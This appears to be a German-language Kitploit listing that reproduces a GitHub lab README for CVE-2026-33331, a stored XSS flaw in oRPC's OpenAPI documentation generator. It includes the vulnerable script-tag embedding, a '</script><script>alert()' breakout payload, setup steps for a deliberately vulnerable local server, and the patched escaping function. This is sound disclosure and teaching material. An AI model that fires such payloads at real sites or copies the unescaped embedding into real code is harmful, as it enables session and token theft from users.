Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33331 — Lokales Labor zur Reproduktion von gespeichertem XSS in der OpenAPI-Dokumentgenerierung von oRPC (CVE-2026-33331), mit verwundbaren und gepatchten Versionen zum Vergleich sowie einem eigenständigen PoC. | Kitploit
Tools/GitHubGitHub/abhayclasher/cve-2026-33331
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitLernen & BildungLabs & Praxis
GitHubabhayclasher/cve-2026-33331

CVE-2026-33331

Lokales Labor zur Reproduktion von gespeichertem XSS in der OpenAPI-Dokumentgenerierung von oRPC (CVE-2026-33331), mit verwundbaren und gepatchten Versionen zum Vergleich sowie einem eigenständigen PoC.

Repository anzeigen
vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33331 — Stored XSS im oRPC OpenAPI Reference Plugin

CVE GHSA CWE-79 Patched

Proof-of-Concept-Labor für Stored XSS in der OpenAPI-Dokumentationsgenerierung von orpc


Zweck

oRPC erstellt API-Dokumentationsseiten aus einer OpenAPI-Spezifikation. Vor v1.13.9 wurde die Spezifikation direkt in ein <script>-Tag mit JSON.stringify() ohne HTML-Kodierung eingefügt. Jedes vom Angreifer kontrollierte Feld, wie , konnte dieses Tag vorzeitig schließen und Skript ausführen.

info.description

Dieses Repository bietet Ihnen ein lokales Labor zur Reproduktion des Fehlers sowie eine gepatchte Version zum Vergleich.

Kurzfakten

FeldWert
CVE-IDCVE-2026-33331
GHSAGHSA-7f6v-3gx7-27q8
CWECWE-79 (Unzureichende Neutralisierung von Eingaben während der Webseitengenerierung)
Produktmiddleapi/orpc
BetroffenAlle Versionen unterhalb von v1.13.9
Gepatchtv1.13.9
EntdeckungAbhay Kumar (@abhayclasher)

Schwachstellendetails

Der verwundbare Code in packages/openapi/src/plugins/openapi-reference.ts rendert die Spezifikation wie folgt:

root@kitploit:~
<script id="spec" type="application/json">${JSON.stringify(spec)}</script>

JSON.stringify() erzeugt gültiges JSON, escapet jedoch keine < oder >. Der Browser behandelt </script> weiterhin als HTML-Schließtag, selbst innerhalb eines <script type="application/json">.

Eine Payload in info.description, die die Ausführung auslöst:

root@kitploit:~
"</script><script>alert('XSS')</script>"

Der Browser sieht:

root@kitploit:~
<script id="spec" type="application/json">{"info":{"description":"
</script><script>alert('XSS')</script>"}}
</script>

Das erste </script> schließt den Block. Alles danach wird als Inline-JavaScript ausgeführt.

Auswirkungen

  • Session-Hijacking durch Cookie- oder Token-Diebstahl
  • Beliebige API-Aufrufe im Namen des Opfers, das die Dokumentation betrachtet
  • Phishing-Overlays, die innerhalb der vertrauenswürdigen Dokumentationsdomäne gerendert werden

Dies gilt, wenn eine Anwendung OpenAPI-Spezifikationen aus benutzergesteuerten Eingaben erstellt, was genau der Fall ist, den oRPC über seine Router-Definitionen ermöglicht.

Systemanforderungen

  • Node.js 18 oder neuer
  • Docker (optional, für containerisiertes Labor)
  • 500 MB freier Speicherplatz

Einrichtung

Option 1: Direkt ausführen

root@kitploit:~
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331/app
npm install
node server.js

Option 2: Mit Docker ausführen

root@kitploit:~
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331
docker compose up -d

Verwendung

Nachdem der Server gestartet ist, besuchen Sie diese URLs:

URLBeschreibung
http://localhost:3000/docsVerwundbare Dokumentationsseite — XSS-Payload wird beim Laden ausgeführt
http://localhost:3000/docs/safeDieselbe Seite mit dem v1.13.9-Patch
http://localhost:3000/spec.jsonRohe OpenAPI-Spezifikation als JSON

Die verwundbare Version löst beim Laden der Seite ein alert() aus, was die Skriptausführung bestätigt. Die gepatchte Version rendert dieselbe bösartige Spezifikation sicher — die Payload wird als Klartext angezeigt.

Sie können auch das eigenständige PoC ausführen:

root@kitploit:~
cd poc
node exploit.js

Dies startet einen minimalen Server auf Port 3000, der denselben Fehler ohne den vollständigen Anwendungskontext demonstriert.

So funktioniert es

Erkennungsablauf

root@kitploit:~
1. Angreifer kontrolliert ein Feld in der OpenAPI-Spezifikation (z. B. description)
2. oRPC generiert das Dokumentations-HTML mit JSON.stringify(spec)
3. Das </script> in der Payload schließt das <script>-Tag vorzeitig
4. Der Browser führt alles Folgende als Inline-JavaScript aus

Die Angriffskette

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│  1. Bösartige Spezifikation erstellt:                │
│                                                       │
│     info.description =                                │
│       "</script><script>alert('XSS')</script>"        │
│                                                       │
│  2. orpc bettet Spezifikation in HTML ein:            │
│                                                       │
│     <script id="spec" type="application/json">        │
│     {"info":{"description":"</script>    <-- Tag      │
│       <script>alert('XSS')</script>      <-- Payload  │
│       "}}                                             │
│     </script>                                         │
│                                                       │
│  3. Browser führt alert('XSS') aus                    │
└─────────────────────────────────────────────────────┘

Der Fix

Version 1.13.9 führt escapeJsonForHtml() ein, das HTML-empfindliche Zeichen durch Unicode-Escapes ersetzt, bevor JSON in das Skript-Tag eingebettet wird:

root@kitploit:~
const escapeJsonForHtml = (obj) => JSON.stringify(obj)
  .replace(/&/g, '\\u0026')
  .replace(/'/g, '\\u0027')
  .replace(/</g, '\\u003C')
  .replace(/>/g, '\\u003E')
  .replace(/\//g, '\\u002F');

Unicode-Escapes funktionieren, weil sie gültiges JSON bleiben — JSON.parse() rekonstruiert die ursprüngliche Zeichenfolge — aber sie sehen für den HTML-Parser des Browsers nie wie HTML aus.

Der Patch änderte auch das Lesen von JSON aus einem DOM-dataset.config-Attribut (das brach, wenn Werte Klammern enthielten) hin zur direkten Zuweisung des escapeten JSON an eine Inline-Variable.

Vollständigen Commit ansehen: 4f0efa8

Projektstruktur

root@kitploit:~
CVE-2026-33331/
├── README.md               # Diese Datei
├── docker-compose.yml      # Docker-Labor-Konfiguration
├── app/
│   ├── Dockerfile          # Container-Build-Konfiguration
│   ├── package.json        # Node.js-Abhängigkeiten
│   └── server.js           # Verwundbarer + gepatchter Dokumentations-Renderer
└── poc/
    └── exploit.js          # Eigenständiges minimales Proof-of-Concept

Referenzen

  • NVD — CVE-2026-33331
  • GitHub Security Advisory
  • Patch-Commit
  • Release v1.13.9
  • CWE-79

Gemeldet von Abhay Kumar. Dieses Repository ist nur für lokale Bildungszwecke gedacht. Stellen Sie den verwundbaren Server nicht in einem öffentlichen Netzwerk bereit.

Nur für Bildungszwecke — nur in isolierten Umgebungen verwenden

Tool herunterladen